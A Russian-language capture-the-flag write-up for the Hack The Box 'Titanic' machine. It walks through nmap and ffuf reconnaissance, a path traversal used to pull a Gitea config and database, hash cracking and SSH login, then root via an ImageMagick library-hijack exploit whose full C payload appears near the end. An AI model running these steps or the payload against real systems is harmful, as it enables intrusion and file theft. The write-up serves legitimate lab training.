title: Titanic HTB date: 2025-06-30

Разведка

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -A -O 10.10.11.55 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 07:31 EDT
Nmap scan report for 10.10.11.55
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   184.40 ms 10.10.16.1
2   184.87 ms 10.10.11.55
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.17 seconds
 

Можем сразу заметить открытый 80 порт. Туда скорее всего и надо стучаться.

|_http-title: Did not follow redirect to http://titanic.htb/ . Идем в /etc/hosts

┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts
 

и добавляем строку 10.10.11.55 titanic.htb

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.55     titanic.htb <-- вот эту
 
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
 
 

Переходим на сайт ну и конечно же открываем Burp или что вам там больше правится. Не тратя больших усилий, находим Path Traversal:

Круто. Но что дальше? Ищем субдомены и... находим

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/dnsmap.txt -u http://titanic.htb -H "Host: FUZZ.titanic.htb" -fs 308
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/dnsmap.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 308
________________________________________________
 
dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 328ms]
:: Progress: [17576/17576] :: Job [1/1] :: 138 req/sec :: Duration: [0:02:20] :: Errors: 0 ::
 

опять идем в /etc/hosts и добавляем новый субдомен dev

127.0.0.1       localhost
127.0.1.1       kali
10.10.11.55     titanic.htb     dev.titanic.htb
 
 
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
 

на нем находим Gitea:

Гуляя по каталогам и папкам, находим вот такой файл (Удивительно, но он нам не понадобится, хотя и выглядит многообещающе)

|   |
|---|
|`version: '3.8'`|
|||
||`services:`|
||`mysql:`|
||`image: mysql:8.0`|
||`container_name: mysql`|
||`ports:`|
||`- "127.0.0.1:3306:3306"`|
||`environment:`|
||`MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'`| <-- Вот это интересно
||`MYSQL_DATABASE: tickets`|
||`MYSQL_USER: sql_svc`|
||`MYSQL_PASSWORD: sql_password`|
||`restart: always`|

Вот это тоже интересно (А вот этот файл нам очень даже пригодится):

|   |
|---|
|`version: '3'`|
|||
||`services:`|
||`gitea:`|
||`image: gitea/gitea`|
||`container_name: gitea`|
||`ports:`|
||`- "127.0.0.1:3000:3000"`|
||`- "127.0.0.1:2222:22" # Optional for SSH access`|
||`volumes:`|
||`- /home/developer/gitea/data:/data # Replace with your path`|
||`environment:`|
||`- USER_UID=1000`|
||`- USER_GID=1000`|
||`restart: always`|

Эксплуатация, user flag

Мы узнали имена пользователей и теперь можно сделать прикол и получить user flag так:

Но кроме флага это нам ничего не дает, а нам надо двигаться дальше, поэтому лучше подставьте такой payload в ticket:

/home/developer/gitea/data/gitea/conf/app.ini

И получаем ответ:

HTTP/1.1 200 OK
Date: Mon, 30 Jun 2025 14:48:22 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/home/developer/gitea/data/gitea/conf/app.ini"
Content-Type: application/octet-stream
Content-Length: 2004
Last-Modified: Fri, 02 Aug 2024 10:42:14 GMT
Cache-Control: no-cache
ETag: "1722595334.8970726-2004-2176520380"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
 
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
 
[repository]
ROOT = /data/git/repositories
 
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
 
[repository.upload]
TEMP_PATH = /data/gitea/uploads
 
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true
 
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD = 
LOG_SQL = false
SCHEMA = 
SSL_MODE = disable
 
[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve
 
[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file
 
[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars
 
[attachment]
PATH = /data/gitea/attachments
 
[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log
 
[security]
INSTALL_LOCK = true
SECRET_KEY = 
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2
 
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost
 
[lfs]
PATH = /data/git/lfs
 
[mailer]
ENABLED = false
 
[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true
 
[cron.update_checker]
ENABLED = false
 
[repository.pull-request]
DEFAULT_MERGE_STYLE = merge
 
[repository.signing]
DEFAULT_TRUST_MODEL = committer
 
[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
 

Скачиваем db

curl -o gitea.db "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db"

В таблице все есть, чтобы получить пароли из хешей, но тут могут начаться небольшие сложности с преобразованием в формат hashcat, так что вот простое решение ...)

Скачайте таблицу user в json:

Дальше вы можете воспользоваться моим скриптом для преобразования в формат hashcat (там инструкция в readme, сами разберетесь) вот ссылка на репозиторий

Пароль от ssh такой же (25282528):

ssh developer@10.10.11.55 

И в поле password: 25282528

Пост эксплуатация, root flag

Что же дальше? Ну, в моем случае кто-то сломал машину -_-

 
developer@titanic:/tmp$ sudo -l
Matching Defaults entries for developer on titanic:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User developer may run the following commands on titanic:
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
    (ALL) NOPASSWD: ALL
 

да уж...

Но есть и нормальный способ. Вам надо отправиться в

/opt/scripts

найти там identify_images.sh и прочитать. Поняли, да? ну если пока не успели, то смотрите на файл /usr/bin/magick. делаем

magick -version

Смотрим уязвимости по ImageMagick 7.1.1-35 и сразу же находим ссылку https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8 Она нам и нужна. Пробуем эксплойт

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
__attribute__((constructor)) void init(){
    system("cp /root/root.txt /tmp");
    exit(0);
}
EOF

Ну или подставляем вместо cp /root/root.txt /tmp то, что нравится вам --> забираем root.txt